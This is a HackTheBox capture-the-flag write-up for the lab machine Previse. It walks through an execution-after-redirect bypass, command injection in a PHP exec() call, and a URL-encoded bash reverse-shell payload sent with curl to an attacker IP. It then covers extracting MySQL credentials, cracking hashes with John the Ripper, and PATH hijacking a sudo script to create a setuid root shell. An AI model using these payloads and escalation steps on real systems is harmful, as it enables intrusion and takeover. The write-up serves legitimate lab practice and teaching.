HTB: Previse Writeup
Previse - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Previse |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 30th Dec 2021 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Previse is an easy-difficulty machine that demonstrates critical web application vulnerabilities in a custom file storage system. The exploitation chain begins with discovering an Execution After Redirect (EAR) vulnerability that allows unauthenticated access to the account creation page, followed by exploiting unsanitized user input in a PHP exec() function call to achieve remote code execution. From the www-data shell, database credentials are harvested and used to extract password hashes protected by a custom MD5Crypt algorithm with unicode salt. After cracking the hash, lateral movement to a standard user account is achieved via SSH. Finally, privilege escalation is accomplished through PATH hijacking on a sudo-executable script that calls binaries without absolute paths.
TL;DR: EAR bypass → PHP exec() injection → RCE as www-data → Hash cracking via John → SSH lateral movement → PATH hijacking on sudo script → Root shell.
Reconnaissance
Port Scanning
# Quick port enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.11.104 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service scannmap -p$ports -sV 10.10.11.104Results:
- Port 22/tcp - OpenSSH (SSH service)
- Port 80/tcp - Apache HTTP Server (web application)
The nmap scan reveals a standard web server running on port 80 with SSH available for remote access on port 22. Navigating to http://10.10.11.104 presents a custom file storage web application with a login page at /login.php.
Service Enumeration
# Directory enumeration using gobustergobuster dir -u http://10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x phpKey discoveries:
login.php- Authentication portalaccounts.php- Account creation interface (admin-only)files.php- File management interfacelogs.php- Log processing functionalitynav.php- Navigation bar componentconfig.php- Configuration file
Vulnerability Assessment
- Execution After Redirect (EAR) - The application improperly validates redirect enforcement, allowing unauthenticated access to protected pages
- PHP exec() Command Injection - User-supplied input passed directly to
exec()without sanitization - Custom MD5Crypt Hash with Unicode Salt - Weak password protection mechanism
- PATH Hijacking via sudo Script - Privilege escalation script uses relative paths for binaries
Initial Foothold
Exploitation Path: EAR to Account Creation
When attempting to create an account through the web interface, users are redirected to the login page. However, the redirect enforcement is faulty.
Step 1: Intercept the Redirect
Using Burp Suite, capture the GET request to accounts.php when clicking the “Create Account” button. Instead of following the redirect, examine the response without redirect enforcement to reveal the account creation form.
Step 2: Create a User Account
Craft a POST request to accounts.php with the following parameters:
# POST request to accounts.phpusername=testuser&password=password123&confirm=password123&submit=This bypasses the redirect validation and allows account creation despite being unauthenticated.
Exploitation Path: PHP exec() Injection to RCE
After logging in with the created account, navigate to files.php where a site backup zip file is available for download. Extract and analyze the source code.
Step 3: Identify exec() Vulnerability in logs.php
The logs.php source code reveals:
<?phpsession_start();if (!isset($_SESSION['user'])) { header('Location: login.php'); exit;}
if (!$_SERVER['REQUEST_METHOD'] == 'POST') { header('Location: login.php'); exit;}
// User input passed directly to exec() without sanitization$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");echo $output;
$filepath = "/var/www/out.log";$filename = "out.log";
if(file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); ob_clean(); flush(); readfile($filepath); die();} else { http_response_code(404); die();}?>Step 4: Craft Command Injection Payload
The delim parameter is passed directly to a Python script without sanitization. Inject shell commands using semicolon separation:
# Start a netcat listener on your attack boxnc -lvnp 4444
# URL-encoded payload for command injection# Original: ;bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1';# URL-encoded: %3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'%3b
# POST request (via Burp Suite or curl)curl -X POST http://10.10.11.104/logs.php \ -b "PHPSESSID=<session_cookie>" \ -d "delim=%3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'%3b"Step 5: Gain www-data Shell
The command injection triggers a reverse shell connection, providing access as the www-data user:
# Shell obtained as www-datawhoami# Output: www-dataPrivilege Escalation
Lateral Movement: Database to User SSH Access
Step 6: Extract Database Credentials
From the www-data shell, read the application configuration file:
cat /var/www/html/config.phpOutput reveals MySQL credentials:
<?phpfunction connectDB(){ $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon;}?>Step 7: Query Database for User Hashes
Connect to MySQL and extract password hashes:
# Enumerate databasesmysql -u root -p'mySQL_p@ssw0rd!:)' -e 'show databases;'
# Enumerate tables in previse databasemysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'show tables;'
# Extract user accountsmysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'select * from accounts;'This reveals password hashes for users including m4lwhere with a hash created using custom MD5Crypt with unicode salt.
Step 8: Crack the Hash
Examine the password hashing mechanism in accounts.php:
$hash = crypt($password, '$1$ llol$');The salt contains unicode characters. Use John the Ripper with the md5crypt-long format:
# Save the hash to a fileecho '$1$ llol$<hash_value>' > hash.txt
# Crack the hashjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
# Example output shows cracked passwordStep 9: SSH Access as m4lwhere
With the cracked password, authenticate via SSH:
ssh m4lwhere@10.10.11.104# Enter cracked password when prompted
# Read user flagcat /home/m4lwhere/user.txtPrivilege Escalation: PATH Hijacking
Step 10: Identify sudo Executable
Check available sudo privileges:
sudo -lOutput shows:
User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.shStep 11: Analyze the Script
Read the privileged script:
cat /opt/scripts/access_backup.shContent reveals:
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gzgzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gzThe script calls gzip and date without absolute paths, enabling PATH hijacking.
Step 12: Create Malicious Binaries
Exploit PATH hijacking by creating fake binaries in /tmp:
# Change to /tmp directorycd /tmp
# Prepend /tmp to PATH so our malicious gzip is found firstexport PATH=/tmp:$PATH
# Create malicious gzip scriptcat > gzip << 'EOF'#!/bin/bashcp /bin/bash /tmp/bashchmod 4755 /tmp/bashEOF
# Make it executablechmod +x gzip
# Verify the setupls -la gzipStep 13: Execute Privilege Escalation
Run the sudo script, which will execute our malicious gzip with root privileges:
sudo /opt/scripts/access_backup.shThis copies /bin/bash to /tmp/bash with the setuid bit set (4755), allowing execution as root.
Step 14: Gain Root Shell
Execute the setuid bash with the -p flag to maintain root privileges:
/tmp/bash -p
# Verify root accesswhoami# Output: root
# Read root flagcat /root/root.txtAttack Chain Summary
EAR Bypass (accounts.php) → User Account Creation → Login →PHP exec() Injection (logs.php) → RCE as www-data →Database Credential Extraction (config.php) → MySQL Query →Hash Cracking (John the Ripper) → SSH as m4lwhere →sudo Enumeration → PATH Hijacking (gzip binary) →Setuid Bash Execution → Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Directory and file enumeration |
Burp Suite | HTTP request interception and modification |
curl | Command-line HTTP requests |
mysql | Database querying and credential extraction |
john | Password hash cracking with custom formats |
ssh | Remote shell access and lateral movement |
nc (netcat) | Reverse shell listener |
Key Learnings
Techniques Practiced
- Execution After Redirect (EAR) vulnerability exploitation
- Command injection in PHP
exec()function calls - Reverse shell payload crafting and delivery
- MySQL database enumeration and data extraction
- Custom hash cracking with unicode salts using John the Ripper
- PATH environment variable manipulation for privilege escalation
- Setuid binary exploitation
- Sudo privilege abuse through script vulnerabilities
Lessons Learned
-
Redirect Validation is Critical - Applications must enforce redirects on the server-side and validate authentication state before rendering sensitive content, regardless of redirect follow-through.
-
Input Sanitization is Non-Negotiable - Any user input passed to system commands via
exec(),shell_exec(), or similar functions must be properly escaped or filtered to prevent command injection. -
Hardcoded Credentials are a Security Liability - Database passwords in source code create lateral movement pathways; credentials should be managed through secure configuration management systems.
-
Weak Hashing Algorithms Remain Crackable - Even with salt, custom or outdated hashing algorithms (like MD5Crypt) are vulnerable to dictionary attacks with sufficient computational resources.
-
Absolute Paths are Essential in Scripts - Privileged scripts must use absolute paths for all executed binaries to prevent attackers from hijacking the PATH environment variable.
-
Sudo Capabilities Require Auditing - Regular review of sudo privileges and the scripts they execute is essential; scripts should be verified for security issues before being added to sudoers.
-
Defense in Depth Matters - Multiple small vulnerabilities chained together (EAR + exec injection + weak hashing + PATH hijacking) can completely compromise a system; each layer of defense must be implemented.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>